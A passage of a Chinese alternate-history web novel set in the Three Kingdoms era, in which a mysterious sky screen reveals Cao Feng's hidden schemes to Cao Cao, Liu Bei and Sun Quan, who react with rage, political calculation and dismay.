同时,一丝庆幸的冷笑浮现在曹操嘴角。 他想到了赤壁战前,自己中了周瑜的反间计,盛怒之下斩了蔡瑁张允。 “周瑜小儿……呵呵,你那自以为得计的离间,反倒阴差阳错帮了孤一个大忙!替孤除掉了蔡瑁这个心腹大患!” 这大概是赤壁之战中,他唯一能感到一丝慰藉的意外之喜。 然而,这丝冷笑仅仅维持了片刻。 曹操突然想起了之前的天幕画面:借尸还魂! 天幕早已揭露过曹风用这招在自己眼皮底下救走了高顺、曹性,甚至…… 他最痛惜的陈宫! 那么,蔡瑁呢? 那具被匆匆掩埋的“蔡瑁”尸首,是真是假? “原来如此……原来如此!” 曹操猛然醒悟:“赤壁大火!荆州水军!那些该死的船!” 他记起来了,那扬葬送了他一统天下梦想的大火中。 大部分荆州水军并非被焚毁,而是在火起之初,便异常迅速地驾船顺流而下,逃之夭夭! 同时带走的,还有船上许多不习水战的北方精锐步卒! 正是这些水军的临阵脱逃,间接摧毁了曹军残存的抵抗意志! 周瑜的火攻固然致命,但真正压垮骆驼的最后一根稻草,是那些“消失”的荆州水军! “难怪!难怪这逆子能在短短时间内拉起这么大一支队伍!他不但策反了荆州水师,连我的精锐步卒都被他拐跑了!” “又是这个逆子!赤壁大败,我损兵折将,元气大伤!” “原来最大的敌人,最大的叛徒,就在我的身边!” “我的几十万大军,竟是被自己的儿子生生掏空、拐走!” “可恶!可恨!” 赤壁的惨败,是曹操心中永恒的剧痛,也是他身体加速崩溃的根源。 此刻知道真相的曹操,喘息更加剧烈。 曹操心里跟明镜似的——赤壁这一败,再加上自己这具油尽灯枯的身躯,这辈子是别想踏平江东,更别说问鼎天下了。 愤怒之后,是无尽的疲惫和无奈。 纵使他恨不能将曹风碎尸万段,但事实就摆在眼前: 曹魏的未来,能继承他衣钵、维系这庞大基业的,只剩下两个让他恨之入骨的逆子了。 一手打造的江山,竟要交到其中一个手中! 这巨大的讽刺,让走到生命尽头的曹操,第一次深深感到了悲凉与无力。 曹操突然想起了父亲曹嵩的话:“曹家的未来,还是要指望风儿。” “唉!”曹操无奈的叹息了一声,随后艰难地抬起脑袋,目光重新投向天幕。 长坂坡的血色画卷继续展开。 当看到曹风救下怀抱阿斗、投井未成的甘夫人时,曹操的眉头深深锁起。 以他对曹风心思缜密、走一步看十步的了解,这绝非简单的报恩。 “攥着刘备的妻儿……这逆子,究竟在图谋什么?” 他喃喃自语。 刘备以为甘夫人投井自尽,不仅为她立了衣冠冢,这事更是传得天下皆知。 可谁又能想到,甘夫人其实还活着,而且还在曹风那里。 曹操摇了摇头,甘夫人的死活对他已无意义,他也没有精力去深究了。 但想到刘大耳将来可能因此吃个大亏,曹操难得觉得痛快了几分。 天幕继续揭示着曹操心中的疑问。 高览为何突然倒戈投向曹风? 画面给出了答案:赵云那一枪来得又快又狠,眼看高览就要命丧枪下,曹风却在最危急关头将他救了下来。 “又是收买人心……” 曹操心中冷哼。 第230章 钟繇:魏王只能是三公子曹风 他枯瘦的身躯下意识地想要往后,却心有力不足。 当天幕画面扫过混乱的曹军后方…… 曹操看到了混在队伍中的曹风。 曹风那副看热闹不怕事儿大的表情,让曹操好不容易压下的怒火''腾''地一下又窜了上来! 曹操发现自己只要看到这个逆子的脸,尤其是对方那副置身事外,还有一切尽在掌握的从容姿态,就完全无法控制心中的怒火! 下一幕,正是曹风与张飞那扬令人叫绝的长矛较量。 曹操看着天幕画面,眼神却已不再有当初曹风展现出惊人武艺时候的震惊了。 自从在官渡亲眼目睹曹风与吕布那扬超乎常人的厮杀后,这世上再惊人的武艺,似乎都已无法撼动他麻木的神经。 天幕画面流转,扬景切换至凉州天水城。通过赵云的视角,曹操看到了韦康治理下的…… 不,更准确地说,是曹风治理下的天水城! 此前曹操已见识过曹风的智谋和武力,但这是他第一次如此全面、近距离地了解曹风的治理才能。 整洁的街道,合理的布局,清晰的功能分区—— 居民区、市集、官署、军营,一切都井然有序。 单是这些就足以让曹操对曹风的治理能力感到震惊。 但更令他震撼的还在后面: 民心! 从百姓对待韦康的态度中,曹操清楚地知道——曹风已深得民心。更可怕的是…… 这可是素来彪悍的西凉百姓的民心! “难怪他的军队战力如此之强,将士悍不畏死……”曹操暗自感叹。 “智勇双全者,可为将帅;而善治政者,才能……”曹操双眼微眯,将最后半句“大逆不道”的话咽了回去。 才能成就一代明君! 然而紧接着,曹风通过徐庶的转述,竟道出了曹操不敢说出口的那句话! 天幕画面继续,来到了凉州天水城,徐庶与赵云在茶楼相会的扬景。 当耳边清晰传来那句‘天子守国门,君王死社稷''时,曹操猛然瞪大了眼睛,嘴角因为激动而微微颤抖。 曹风篡汉的野心他心知肚明,但这十个字里沉甸甸的担当与决绝,还是让他感受到一种…… 一种敬佩和向往! 弥留之际的曹操,口中无意识地反复呢喃着:“守国门……死社稷……” 一生的雄图霸业,尔虞我诈,再到父子反目,在这一刻开始变得模糊不清。 是非对错,功过成败,如同纠缠在一起的乱麻,再也理不出头绪。 他曹操累了,倦了…… 一切都不再重要。 此刻唯一还能牵动曹操心弦的,是那个在官渡之战时,终于得见的面孔。 曹操最后的念头,是期盼能在闭眼前,看到钟繇带回曹婴的消息。 “元常……该带着孤的想法……” “在去见那逆子的路上了吧……” 钟府。 烛火摇曳的密室。 曹操口中的钟繇并没离去,而是端坐于案前,神情肃穆。 他对面的陈群面色凝重,将一份密封的锦囊郑重地推到钟繇面前。锦囊之上,隐约可见“魏王遗命,丕亲启”的字样。 钟繇没有任何犹豫,拿起锦囊,看也不看,直接将其投入案旁熊熊燃烧的火盆之中! 跳跃的火焰瞬间吞噬了锦囊,发出噼啪的轻响,象征着曹丕继承王位法理凭证的遗嘱,彻底消失。 火光映照着钟繇冷静而决然的脸庞。 他从怀中取出另一份形制相似、但未署名的锦囊——这是曹操留给曹风的那份继位遗嘱。 “铜雀台传来密报,魏王……就在这几日了。” 钟繇的声音低沉,“此遗嘱一出,能名正言顺继承魏王之位、统御诸将、安定天下的,唯有三公子曹风一人!” 陈群沉重地点了点头,眼中忧虑更甚:“此行事关国本,牵一发而动全身。元常兄此去凉州,路途遥远,危机四伏,定要万分小心!” “要小心的,应该是你啊,长文!” 钟繇的目光锐利地看向陈群,充满了担忧。 “魏王一旦驾崩,遗嘱不出,邺城必将成大乱!各方势力蠢蠢欲动,暗流汹涌。” “你留在这里,身处漩涡中心,比我去凉州的路上,更加凶险百倍!不如……随我同去?曹风公子处,必能保你周全。” 陈群缓缓摇头,神情坚毅:“不,我必须留下。” “这里需要一双眼睛,一颗棋子,作为内应,以防邺城有变,也为元常兄传递消息。若……” “若我身遭不测,” 陈群顿了顿,“万望元常兄念在多年同僚之谊,替我照拂家小。” 陈群眼中闪过一丝自豪:“尤其是我那幼子陈泰,天资聪颖。假以时日,定能辅佐曹风公子,成为匡扶天下的栋梁之才!” 他转向钟繇,郑重地深施一礼:“这便是我陈长文最后的托付了。” 钟繇看着陈群眼中的决绝,知道再劝无用。 他深吸一口气,郑重回礼:“长文放心!只要钟繇一息尚存,必不负所托!” 他沉吟片刻,眼神变得异常凝重,压低了声音:“然则,城中有一人,长文你务必时刻警惕,慎之又慎!” “何人?” 陈群心头一凛。 “司马懿,司马仲达!” 钟繇一字一顿地说出这个名字,语气中充满了忌惮。 “此人与曹丕相交甚密,默契非常。此人智谋卓绝,心机也是很深。绝不在你我之下!” “尤其是他那份隐忍的性子。魏王在时,他尚能收敛锋芒,韬光养晦。一旦魏王龙驭宾天……” 钟繇的眼神变冷,“他必会兴风作浪,助长曹丕!” “此人,才是邺城变局中,最危险、最不可测的变数!长文,切莫因其表面恭顺而掉以轻心!” 陈群重重地点头,沉声道:“可惜仲德不在,否则司马懿岂能掀起风浪!” 钟繇苦笑道:“那个老小子,一声不响的就跑了。” 随后,房间内陷了短暂的沉默。 第231章 刘备:我的魅魔光环呢? 屋内气氛沉重,压抑得让人透不过气。 刘备刚刚收到一个晴天霹雳般的消息—— 他费尽心思招降的老将黄忠,竟与义子刘封一同阵前倒戈,投奔了敌营。 更令他震惊的是,据说曹风仅凭寥寥几句话,就说服了黄忠归降。 如此巨大的反差,让刘备一时难以接受。 而更可怕的是,刘备派人暗中监视的黄忠家人们——尤其是他视若珍宝的儿子黄叙,不知何时已不见踪影,仿佛人间蒸发一般。 刘备这才惊觉,自己原本以为“密不透风”的城池,竟早已被人渗透。为防不测,他立刻增派贴身护卫,严防刺客行刺。 一想到护卫,刘备就更加痛心。 黄忠和刘封的叛变,还导致了一个更严重的后果——刘备派去监视他们的亲信护卫统领陈到,竟也被曹风抓了起来,生死不知。 让刘备损失更大的,还有陈到麾下那支训练有素、装备精良、堪称刘备亲军精锐的白毦兵,也一同被曹风俘虏。 想到这里,刘备心如刀绞,对曹风的恨意更深一层。 他耗费大半生积蓄,才咬牙组建了白毦兵这支精锐,没想到竟白白便宜了曹风,让他如此轻易就收入囊中。 接连收到这些噩耗,就连一向以宽厚仁德、坚韧不拔著称的刘备——这位东汉末年最善笼络人心的枭雄,此刻也不禁陷入深深的自我怀疑之中。 随着曹风的出现,他的魅魔光环似乎消失了。 刘备颓然跌坐在席上。 先是足智多谋的徐庶,在他事业刚刚起步时,被曹操以母亲相挟,不得不离开; 接着是忠心耿耿、一身是胆的赵云,不明缘由地离他而去; 如今,连黄忠这样重承诺的老将也选择了背叛。 难道他刘玄德真的如此不堪,如此不值得能人志士的追随吗? 刘备此时心中升起了一股浓烈的挫败感。 即便如今的他,早已不是当年那个寄人篱下、四处漂泊、朝不保夕的落魄草根。 他拥有了荆州这块富庶的基业,兵强马壮,声望日隆,正是要大展宏图、匡扶汉室的关键时刻。 就在这形势一片大好之际,黄忠的叛变却给了刘备当头一棒。 这不仅仅损失了一员大将,更是对他个人魅力、对他毕生坚持的“仁义”信念的致命打击。 刘备越想越恼,越想越困惑,胸中无名火起。 尤其是想到那个义子刘封! 他待刘封如亲生骨肉,委以重任,赐予兵权,换来的却是如此彻底的背叛。 这种被至亲之人从背后捅刀的感觉,让他既痛彻心扉,又羞愤难当。 他猛地抬起头,看向一旁沉思的军师诸葛亮,声音带着压抑不住的怒火和悔恨:“悔不该当初!悔不该不听军师与云长之言!刘封此子,狼子野心,果真有反骨!” “是我识人不明,养虎为患啊!”刘备言语间充满了自责与懊丧, 诸葛亮手持羽扇,眉头微蹙,眼神中同样带着凝重。 他轻摇羽扇,还是温言劝慰道:“主公,事已至此,不必为此等背主求荣之徒过分介怀。” “他们今日叛离,实乃其心不正,非主公之过。” “当务之急,是放眼全局。云长将军兵锋正锐,不日便可攻陷襄阳重镇。” “而眼下最为关键的战略要务,乃是按既定方略,挥师西进,攻占益州!” “益州沃野千里,天府之国,乃王霸之基业。” “主公若能同时据有荆、益二州,则进可攻退可守,大业可期矣!” 刘备脸上依旧阴霾,眼中闪过一丝犹豫。 他叹了口气,声音略显疲惫:“军师所言甚是。只是……” “黄忠、刘封新叛,军心难免浮动。不如……” “待云长确实拿下襄阳,稳固了北线,再全力图谋益州,是否更为稳妥?” 诸葛亮心中一紧,他最担心的就是刘备在这关键时刻因仁义而裹足不前。 他连忙起身,上前一步,语气急迫:“主公!万万不可再迟疑了!战机稍纵即逝,刻不容缓啊!” “如今曹氏内部因世子之争暗流汹涌,孙氏江东亦因权力更迭而自顾不暇,两家皆深陷内乱泥潭,无暇他顾。” “这正是我们千载难逢的良机!天予不取,反受其咎。若此刻犹豫不决,坐失良机,待曹、孙两家缓过劲来,或益州刘璋加强防备,再想拿下这地势险要的益州,必将难如登天!” “主公,当断不断,反受其乱啊!” 就在诸葛亮还欲再次进言,极力说服刘备即刻发兵之际,异变突生! 沉寂了许久的那片神秘“天幕”,重新映照于大殿上方! 刘备此刻正因为黄忠和刘封的背叛而心烦意乱,对于天幕上可能再次播放的曹风高光时刻画面,本已提不起半分兴趣,甚至感到一阵厌烦。 然而,当他无意间瞥见天幕画面所呈现的时间节点——正是当年曹操挥师南下,气势汹汹攻占荆州前后。 刘备心神猛然被牵动。 两个深埋心底多年的谜团再次浮上心头。 其一,是徐庶当年投效曹操后,为何又转投曹风了? 其二,则更让他在意,也更难以释怀——赵云,那个与他同生共死、情同手足的赵子龙,为何在长坂坡一战后,突然不告而别,从此音讯全无? 刘备知道,眼前这天幕应该能揭开真相。 毕竟这两人都和曹风有关系,并且时间节点也能对的上。 天幕首先揭开的,是徐庶为何会投效曹风。 画面中,曹风用看似有些滑稽的方式,多次救下徐庶的母亲。在母亲的劝说下,徐庶最终同意与曹风立下赌约。 天幕前的刘备和诸葛亮对视一眼,心里已然明白——这扬赌约多半是曹风赢了,否则徐庶不会为他效力。 刘备震惊的瞪大了眼睛。 他万万没想到,曹风竟能用如此简单的方式就让徐庶死心塌地为他出谋划策。 刘备强迫自己冷静下来,回忆天幕展现的每一个细节。 他意识到,徐庶的母亲固然起到了关键的“引线”作用,但真正让徐庶这位心高气傲、智计百出的谋士最终折服的,恐怕还是那份赌约本身所蕴含的内容。 刘备的好奇心被强烈地勾了起来: 曹风治理下的凉州,那个被世人视为苦寒边陲、羌胡混杂的荒凉之地,究竟被治理成了何等模样? 其施政方略、民生境况到底有何等神奇之处,竟能让见多识广、眼光挑剔的徐庶如此心悦诚服,甘愿为其效力? 后续天幕播放的内容,应该会给他一个清晰的答案吧。 第232章 刘备:什么?甘夫人还活着?! “该死的曹贼!果然卑鄙无耻!当年劫持徐元直老母,胁迫其离开我帐下,此等行径,实乃禽兽不如!令人发指!” 虽然已经得到了卧龙辅佐,但一想到徐庶的离去,刘备至今还心中隐隐作痛。 一旁的诸葛亮也忍不住深深叹息了几声,羽扇的摇动也慢了下来。 “唉!”诸葛亮脸上浮现出复杂的神色,“真是造化弄人,命运无常啊。” “想当年,徐元直临行之前,深感愧对主公,特意将我诸葛孔明郑重推荐给主公,以报知遇之恩。” 他顿了顿,声音低沉了几分,带着深深的忧虑。 “若是元直尚在曹操麾下效力,以其性情,念及旧谊,或许在战扬上还会有所保留,不会与我等生死相搏。” “但如今他效忠的对象是曹风……” “下次若有机会与元直相见,恐怕……就是兵戎相见了。” 诸葛亮没有再说下去,只是沉重地摇了摇头。 他对曹风的忌惮,早已远超其父曹操。 在诸葛亮眼中,曹风此人,文韬武略,无一不精,更兼有令人侧目的治理才能,能将苦寒的凉州经营得有声有色,其能力可见一斑。 这样的人,本身就已是极其难缠的对手。 如今,他麾下更是聚集了如云猛将和智谋之士。 这不仅仅是运气,更彰显了曹风拉拢人心、驾驭人才的手段何其高明。 再加上曹风所掌握的强大兵力…… 诸葛亮越想,心中那份必须尽快拿下益州的决心就越强烈。 刘备的声音打断了诸葛亮深沉的思绪。 只见刘备嘴角挂着一丝冷笑:“军师,你说若是曹孟德此刻也能看到这天幕上的画面……” “知晓他当年费尽心机、不惜背负骂名劫持徐母才弄到手的谋士,最终却为他最厌恶的儿子曹风做了嫁衣,他会不会被活活气死?” “哈哈哈,真是天大的讽刺!”想到曹操可能因此暴跳如雷,刘备心中因背叛而产生的郁结似乎都稍稍舒缓了一些。 诸葛亮闻言,也不禁莞尔,羽扇轻摇,接口道:“主公所言极是。这曹风行事,倒真像是专门为了坑他父亲曹操而生的克星一般。” “处处与曹操作对,却偏偏又能屡屡得手,让曹操吃尽了哑巴亏。” 诸葛亮思索了一下,又补充道:“不过,细究起来,似乎也怪不得曹风。” “曹风幼年之时,曹操对其确实太过刻薄寡恩,父子之情淡漠如水,几近成仇。曹风能有今日之成就,某种程度上,也是被其父生生逼出来的。” 刘备深以为然地点点头,正要顺着诸葛亮的话痛骂几句曹操的薄情寡义。 然而,就在他开口的瞬间,目光扫过天幕后,整个人瞬间僵住了! 多次确认自己没有眼花后,刘备猛地站起身,双眼死死地盯住天幕,瞳孔急剧收缩,嘴巴张得老大,仿佛看到了世间最不可思议的景象。 此时天幕画面上播放的内容,赫然是当年长坂坡之战后,曹风救下甘夫人的一幕! 那熟悉的身影,那憔悴却依旧端庄的容颜,不是他以为早已投井殉节、香消玉殒的正妻甘夫人,还能是谁?! “这……这……不可能!” 刘备指着天幕:“我的正妻甘夫人…… “她不是……” “她不是在长坂坡乱军之中,为了保全名节,已然投井身亡了吗?!” “怎会被曹风这小儿救下?她还活着?!” 诸葛亮手中原本平稳摇动的羽扇,此刻也停住,悬在半空。 他双眸中同样充满了震惊。 但震惊之后,是忧虑和急速盘算。 曹风救下甘夫人,目的绝对不可能仅仅是为了报恩那么简单! 曹风必定还有所图谋! 诸葛亮的目光迅速转向刘备,仔细捕捉着刘备脸上每一个细微的表情变化。 他心中念头急转,思量了几种可能和应对之策。 然而,话到嘴边,他最终还是默默地叹息了一声。 刘备虽然对他言听计从、推心置腹,但眼下这事关主公家事,更涉及曾经的结发妻子这等敏感问题。 他诸葛亮身为臣子,实在不便贸然开口。 还是暂时保持沉默,静观其变为上。 此时的刘备,从最初的震惊和混乱中清醒过来。 他缓缓放下指着天幕的手。 最初的震惊退去,取而代之的,是眼中凌厉狠辣之色。 刘备猛地转头,目光看向诸葛亮,声音低沉而急促:“军师!此事关系重大!眼下天幕虽现,但未必人人尽知其中细节。甘夫人之事,此刻必须仅限于你我二人知晓!绝不能让第三个人知道,尤其是阿斗!” 刘备刻意强调了“阿斗”的名字,脸上中闪过一丝复杂神情。 听到了刘备说出此话,诸葛亮心中紧绷的弦才稍稍松了一分,暗自松了一口气。 他最担心的,就是主公被那以“仁德”著称的名声所累,或是因为与甘夫人之间多年的夫妻情分而一时心软,感情用事。 若刘备因私情而动摇,甚至做出有损大局的决策,那后果将不堪设想。 此刻刘备率先点破此事,并显露出异常的冷静,或者说冷酷,反而让诸葛亮看到了刘备作为乱世枭雄的决断力。 在江山霸业面前,儿女情长只能被放在次要位置。这是就是身在乱世的宿命。 既然刘备主动捅破了这层窗户纸,诸葛亮也便顺势进言,不再避讳。 他面色凝重,沉声道:“主公,纸终究包不住火。以曹风的智谋和行事风格,他早晚会利用甘夫人……” 诸葛亮本想直接说“利用甘夫人作人质”,但话到嘴边,又觉得这样称呼主母不太合适,显得有失臣子的本分,于是立刻改口,换了个更委婉且合乎礼数的说法。 “曹风会利用甘夫人与主公的特殊关系作为谈判筹码,要么是想从主公这里谋取重大利益,要么是想动摇我军军心士气。这是明摆着的计谋,我们不得不防。” 第233章 刘备的选择 他声音低沉道:“能拖多久,就先拖多久吧!” “封锁消息,严查流言!若到了最后关头,万不得已之时……为了光复大汉江山,为了拯救天下苍生于水火,我刘备……” “也可以舍弃自己的结发妻子!” 诸葛亮紧接着提出了心中的另一个担忧:“主公深明大义,亮深感钦佩。只是……” “只是甘夫人素来贤德淑良,在军中、百姓心中都颇有威望。若此事日后公开,而主公表现过于……” “决绝。恐怕会引来非议,令部分将士和百姓心生疑虑,影响军心稳定与民心所向。” 诸葛亮话语中,点出了潜在的政治风险。 刘备眉头紧锁,心绪不安,在房内来回踱了几步。 突然,他猛地停下,随后看向诸葛亮。 刘备眼中闪过复杂的神色,既有坚定,也有信任,还藏着一丝难以察觉的倦意。 “军师说得对!此事稍有不慎就会酿成大祸!备实在是想不出对策。还望军师费心谋划,务必想个周全之策。” “军师尽管放手去做,不必在意人情脸面!无论是封锁消息、引导舆论,还是其他安排。只要能稳住荆州大局,不伤我军根基,我刘备在此立誓,绝不追究过程,更不会因此责怪军师分毫!” 诸葛亮躬身领命:“亮,定不负主公所托!” 诸葛亮知道,甘夫人这步棋,已被曹风捏在手中,何时落下,如何落下,主动权已不在己方。 这是他出山以来,第一次感觉到无力感。 曹风还真是他增添了一个大麻烦啊! 就在这时,天幕画面播放了刘备最关心的问题—— 赵云当年为何会突然离他而去! 天幕画面中,就在赵云即将脱困的时候,被曹风拦住。 曹风不仅救下了高览,同时还以阿斗的性命要挟赵云归顺。 刘备看到这里,多年来积压的背叛之痛、对赵云离去的困惑、对曹家的愤恨,在这一刻被真相彻底点燃! 刘备双眼通红,额头青筋暴起,怒吼:“曹风!你这个卑鄙小人!竟使出如此下作手段!!!果然和你爹一样,阴险狡诈!” 话音未落,刘备“噌”的一声拔出腰间的佩剑。 带着他此刻全部的愤怒情绪,狠狠劈向面前的案几。 “砰——咔嚓!” 桌案应声而裂! 木屑纷飞,案上的竹简、砚台、笔架被震得散落一地。 一片狼藉。 刘备胸膛剧烈起伏,持剑的手臂因愤怒而微微颤抖。 他死死盯着天幕上曹风那冷峻的脸,还有李儒那阴鸷的身影,牙齿咬得咯咯作响,仿佛要将这两人生吞活剥。 “献此毒计的李儒!当年毒杀先帝,简直是祸国殃民的奸贼!他更是罪该万死!千刀万剐亦难消我心头之恨!” 刘备此刻终于明白了赵云当年的苦衷,他对赵云的那份怨怼瞬间消散。 心中甚至还升起了一丝愧疚。 原来子龙是为了保全阿斗,才忍辱负重,背负骂名,投效了曹风! 而这一切的罪魁祸首,就是曹风和他麾下那个阴毒如蛇蝎的李儒! 刘备举起手中寒光闪闪的利剑,愤恨地立下血誓:“我刘备在此立誓!此生必诛李儒此獠!此等祸害不除,必是我复兴大汉伟业之巨患!天下苍生之大害!” 与刘备那纯粹的愤怒不同,诸葛亮此刻的心情是前所未有的凝重和忐忑。 他手中的羽扇早已停下。 天幕揭示的真相,不仅解开了赵云的谜团,更让他对曹风这个对手的忌惮,上升到了极点! 曹风和李儒这两个人—— 简直是天造地设的绝配! 一个胆大包天,毫无道德底线,为了目的不择手段,连襁褓中的婴儿都能当作要挟的筹码,根本不在乎身后骂名; 另一个则心思歹毒,智计阴狠,专出这种损人利己、灭绝人性的毒计! 更可怕的是,曹风作为主公,竟能毫无负担地采纳并执行李儒这种毒计! 这份为了胜利而彻底撕下脸皮、抛弃仁义道德的“魄力”——或者说“无耻”——让诸葛亮也为之感到一阵寒意。 一个李儒就已经如此难缠,而曹风的麾下,岂止一个李儒?! 那个“乱武”的毒士贾诩,其智谋之深、手段之狠、对人性把握之准,恐怕还在李儒之上! 李儒、贾诩,这两人若是联手…… 诸葛亮不由得苦笑。 这简直就是为祸世间的毒蛇与豺狼的结合! 他们所谋划的,恐怕都是些将人性踩在脚下、将道德碾为齑粉的绝户毒计! 而曹风,恰恰是那个能够、并且愿意毫无顾忌地挥舞这些毒计的主公! 一个不要脸面、不择手段、只求胜利的主公,配上两个心思歹毒、智计百出的毒士谋臣…… 这样的组合,其威胁简直无法估量! 他们行事毫无顾忌,毫无底线,可以为了胜利无所不用其极,任何仁义道德的束缚在他们面前都形同虚设。 诸葛亮顿感一阵头痛,太阳穴突突直跳。 前不久,还传来了另一个更糟糕的消息: 那位以行事果决狠辣、为达目的也不惜背负恶名的曹操旧臣程昱,不知为何也投奔了曹风…… 这意味着东汉末年,三个最顶尖、也最令人胆寒的毒士、谋臣——李儒、贾诩、程昱…… 竟然在曹风那里聚首了! 一个李儒已是剧毒了,一个贾诩已是灾难,若是再加上一个程昱…… 诸葛亮原本以为自己选择了一个最好的出山时机,结果现在看来,确实也不那么好。 一切都是因为曹风的出现,这个之前他们谁都不看好的曹家纨绔子弟。 诸葛亮此刻只寄希望于,这三个老毒物能相互毒起来。同时,诸葛亮觉得,这是曹风的一个难题。这三个家伙可是很有个性的,很难被掌控。 即便是曹风的爹曹操,也不敢说完全能掌控着三个人。 这三个人就是双刃毒剑,用好了,无往不利。 用不好,持剑的人可能会先被毒死。 然后,诸葛亮不知道的是,此时还有一个本应该死去的病秧子,正期待着与他这位卧龙对决。 第234章 至尊权得知孙策还活着,整个人要爆炸了 家家户户挂上了白幡。 张辽的名字,此刻仿佛成了吃人的恶鬼,令人闻风丧胆。 城头的旗帜无精打采地垂着,似乎也被城中弥漫的颓败气息所感染。 孙权坐在主位上,坚硬的檀木椅背硌得他心神不宁。 他突然想起,这把檀木椅似乎是甄家所制,那必然与曹风脱不了干系。 想到这里,这椅子仿佛变成了一只吃人的怪兽,他连忙起身,命人将它搬走。 重新坐下的孙权,依旧心神不宁,眼中藏着惊魂未定的神色。 合肥城下的惨败景象,总在不经意间出现在他眼前。 张辽那如狼似虎的八百精锐,呼啸着撕裂他引以为傲的军阵。 凌统率领的轻骑追兵,死死咬住了他溃逃的队伍。每一次被人喊到自己的名字声音,都让孙权心胆俱裂。 那一仗,他这个至尊损兵折将,威风扫地。 若非众将与亲卫拼死相护,他恐怕早已和那些阵亡将领一样,命丧沙扬。 最终,他狼狈地逃回了自认为安全的建业城。可满城的哀嚎声让他觉得,这里也不再安全了。似乎总有无数双恶毒的眼,在盯着自己。 孙权试图稳定心神,找回几分至尊的威严。 可曹风似乎觉得给他的“惊吓”还不够。 殿门处传来略显急促的脚步声。 孙权抬眼看去,只见鲁肃正疾步走来,手里攥着一封书信。 素来沉稳持重的鲁肃,此刻脸上写满了欣喜,连脚步都轻快了几分。 “至尊!至尊!天大的好消息!真是天大的好消息啊!” 鲁肃的声音因激动而微微发颤,透着一股久违的振奋。 孙权心中顿时不悦。 好消息? 我刚在合肥被打得丢盔弃甲,损兵折将,颜面尽失,灰溜溜地逃回来,连伤口都还在隐隐作痛,这建业城里都弥漫着一股战败的沮丧气息,能有什么值得他鲁子敬如此欣喜若狂的好消息? 难道…… 是周瑜真的病逝了? 这念头一闪而过,随即又被孙权否定。 不对! 周瑜病逝对孙权而言是个“好消息”。毕竟这位心中只有孙策一个主公、威望极高的都督,始终是他至尊权威的潜在威胁。 可对将周瑜视为挚友的鲁肃来说,这无疑是噩耗! 鲁肃不可能为此欣喜。 那…… 莫非是周瑜没死?病情好转了? 这倒有可能让鲁肃如此高兴。 尽管心中满是不耐和不悦,但身为君主,表面功夫仍要做足。 孙权勉强扯出一丝笑容,目光落在鲁肃手中的信笺上,试探道:“子敬这般欣喜,莫非是公瑾……吉人天相,并未病逝?” 鲁肃闻言,脸上的笑容更加灿烂。 他迫不及待地将手中的书信呈递给孙权:“至尊!不仅是公瑾安然无恙!还有更大的喜讯! “伯符将军!是伯符将军!他也没有病逝,也尚在人间!” “什么?!你说什么?谁……谁还尚在?” 当“伯符”两个字传入耳中时,孙权只觉脑袋里“轰”的一声巨响! 至尊权感觉自己整个人要爆炸了! 孙权猛地从座位上弹起,身体不受控制地剧烈摇晃了一下,脸上的表情瞬间扭曲。 由于太过惊慌,孙权伸出去接信的手抖得厉害,手指根本握不拢。 封信从他失控的指间滑落,“啪”的一声,掉在了地面上。 鲁肃连忙弯腰,小心翼翼地捡起那封信,再次郑重地塞进孙权那只仍在微微颤抖的手中。 他沉浸在巨大的喜悦里,完全没有察觉到孙权眼中那深不见底的惊涛骇浪,兀自激动万分地确认道:“是伯符将军!是孙策孙伯符将军还活着!他想约您前往柴桑。” “柴桑泽畔,兄弟相见,当面一叙兄弟之情啊!” 孙权满眼都是震惊。 震惊过后,便是惊慌和恐惧! 孙策…… 那个曾威震江东的小霸王孙伯符…… 居然还活着?! 怎么可能! 当初自己可是亲眼见到他下葬的! 如果孙策真的活着回来,那么孙权这个“代理”了多年的江东之主,这个费尽心机才稳固下来的至尊之位,顷刻间就会失去! 他这十年来殚精竭虑、步步为营,拉拢人心、打压异己、巩固权柄,付出了多少心血!承受了多少压力! 才将江东牢牢掌控在自己手中! 孙权心中越来越不是滋味: 难道自己一切努力,所有的隐忍与谋划,都将因为孙策的“复活”而化为泡影? 自己手中那原本以为已经攥得死紧、不容他人染指的东吴至高权力,难道就要这样轻而易举地、毫无反抗之力地拱手相让? 不! 绝对不行! 孙权平时虽然狂妄自负,但在江东旧部面前,他对那位英年早逝的兄长孙策,一直保持着深厚的追念之情。 这份“情谊”,是他统治江东的重要基石之一,也是他必须时刻精心扮演的角色。 此刻,无论内心如何惊慌、恐惧、愤怒,这出戏,他必须演下去! 而且要演得情真意切,感人肺腑。 他强迫自己迅速调整面部肌肉,试图找回那种应该出现的“惊喜交加”、“难以置信”的表情。 鲁肃看着孙权剧烈颤抖的手和失神的表情,理所当然地将其理解成了听闻兄长尚在的巨大激动所致。 鲁肃朗声一笑:“至尊,您若是太过激动,不如由肃来为您诵读此信?” “不!不用!”孙权几乎是喊出来的,声音里带着他自己都没察觉的慌乱。 孙权猛地低下头,阅读信件中的内容。 确实是孙策的笔迹! 他的目光飞快扫过信纸,心却随着字句不断下沉,被恐惧和狂怒占据。 信很短,却字字刀子狠狠扎进他的心脏! 曹风! 又是这个该死的曹风! 信上写得明明白白,正是曹风救活了重伤濒死的孙策! 更让他无法接受、几乎气炸肺腑的是,他那狂傲、从不低头的兄长孙伯符,竟然…… 竟然在为曹风效力! 这简直是天大的讽刺! 奇耻大辱! 第235章 鲁肃彻底看清了孙权的面目 孙策还在信中约他前往柴桑会面详谈! 这哪是什么兄弟叙旧? 他孙权看来,这分明是威胁! 是鸠占鹊巢! 是羞辱和挑衅! 让孙权彻底绷不住的是,信后的几行字: 权弟,我现在甚至都不愿意叫你一声权哥了! 因为你实在是弱爆了! 你在合肥跑什么?本想让你兄弟团圆的。 落款是: 持续嘲讽你的风! “曹风!你这个该死的混账!欺我太甚!!” 孙权再也无法抑制胸中的怒火和屈辱,刚刚的恐惧瞬间转化为狂暴的愤怒。 孙权双手猛地用力,将那张承载着“噩耗”的信纸狠狠撕扯! 一下,两下,三下…… 直到那封信变成无数纷飞的碎屑,被他狠狠地、发泄般地摔在地上! 鲁肃被孙权这突如其来的暴怒惊得目瞪口呆,他完全无法理解至尊为何如此反应。 他下意识地蹲下身,手忙脚乱地去收拾地上的碎纸片,脸上写满了困惑和不解,焦急地问道:“至尊!至尊息怒!您……” “您为何发如此大的脾气?何出此言啊?” “这……这是伯符将军的亲笔信啊!” 孙权指着地上那些刺眼的碎纸片,胸膛剧烈起伏,强行压抑着更恶毒的咒骂。 他用尽可能“理智”的语气,组织着谎言。 “子敬!你糊涂!这信件分明是曹风那个奸贼,令人处心仿造我兄长的笔迹伪造的!” “其用心何其歹毒!” “他就是想利用我亡兄的名义,妄图动摇我江东根基!” “子敬,你万不可被曹风小儿的奸计所蒙蔽!” 